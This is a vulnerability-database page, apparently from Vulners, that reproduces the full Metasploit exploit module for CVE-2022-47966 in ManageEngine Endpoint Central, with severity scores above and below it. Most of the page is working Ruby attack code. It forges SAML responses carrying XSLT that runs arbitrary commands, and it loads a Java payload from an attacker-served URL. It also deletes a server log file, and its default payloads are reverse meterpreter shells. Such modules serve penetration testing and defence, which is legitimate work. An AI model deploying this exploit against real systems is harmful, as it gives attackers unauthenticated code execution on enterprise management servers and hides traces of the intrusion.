Lucene search

K
metasploitKhoa Dinh, horizon3ai, Christophe De La Fuente, h00die-gr3y <[email protected]>MSF:EXPLOIT-WINDOWS-HTTP-MANAGEENGINE_ENDPOINT_CENTRAL_SAML_RCE_CVE_2022_47966-
HistoryJan 29, 2023 - 7:47 a.m.

ManageEngine Endpoint Central Unauthenticated SAML RCE

2023-01-2907:47:22
Khoa Dinh, horizon3ai, Christophe De La Fuente, h00die-gr3y <[email protected]>
www.rapid7.com
135
manageengine
endpoint central
unauthenticated
saml
rce
zoho
msp
xml
code execution
vulnerability
apache santuario
arbitrary code
crafted
configuration
sso
active service
cve-2022-47966
security
remote
http
metasploit
java
library
dependency
exploit

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

10

Confidence

High

EPSS

0.975

Percentile

100.0%

This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the Endpoint Central SAML endpoint. Note that the target is only vulnerable if it is configured with SAML-based SSO , and the service should be active.

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Endpoint Central Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10
          and below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the Endpoint Central
          SAML endpoint. Note that the target is only vulnerable if it is
          configured with SAML-based SSO , and the service should be active.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente', # Based on the original code of the ServiceDesk Plus Metasploit module
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Added some small tweaks to the original code of Christophe to make it work for this target
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Platform' => ['win', 'java'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8020,
          'SSL' => false
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
      OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
    ])
  end

  def check_saml_enabled
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/SamlRequestServlet')
    })
    if res.nil?
      print_error('No response from target.')
      return false
    end

    # ManageEngine Endpoint Servers with SAML enabled respond with 302 and a HTTP header Location: containing the SAML request
    if res && res.code == 302 && res.headers['Location'].include?('SAMLRequest=')
      return true
    else
      return false
    end
  end

  def check
    # check if SAML-based SSO is enabled otherwise exploit will fail
    # No additional fingerprint / banner information available to collect and determine version
    return Exploit::CheckCode::Safe unless check_saml_enabled

    CheckCode::Detected('SAML-based SSO is enabled.')
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      java_class_loader_start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      execute_cmdstager(delay: datastore['DELAY'])
    end
  end

  def trigger_urlclassloader
    # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    # stager for javascript engine
    java_stager = <<~EOS
      var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
      new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
      var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
      var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
      #{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
    EOS

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
            <xsl:stylesheet version="1.0"
            xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
            xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
                <xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
                <xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
                <xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
                <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
            </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT
    send_transform(transform)
  end

  def execute_command(cmd, _opts = {})
    cmd = "cmd /c #{cmd}"
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0"
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
              <xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
              <xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
              <xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
              <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT

    send_transform(transform)
  end

  def send_transform(transform)
    assertion_id = "_#{SecureRandom.uuid}"
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                #{transform}
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    # Java payload returns a nil response on successful execution of payload
    if target['Type'] == :java && res.nil?
      print_status('Exploit completed.')
    elsif res&.code != 200
      lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
      unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
        elog("Unkown error returned:\n#{lines.join("\n")}")
        fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
      end
      fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
    end

    res
  end

  # handle http requests from java stagers and cmd stagers differently
  def on_request_uri(cli, request)
    case target['Type']
    when :java
      super(cli, request)
    else
      client = cli.peerhost
      print_status("Client #{client} requested #{request.uri}")
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    end
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

10

Confidence

High

EPSS

0.975

Percentile

100.0%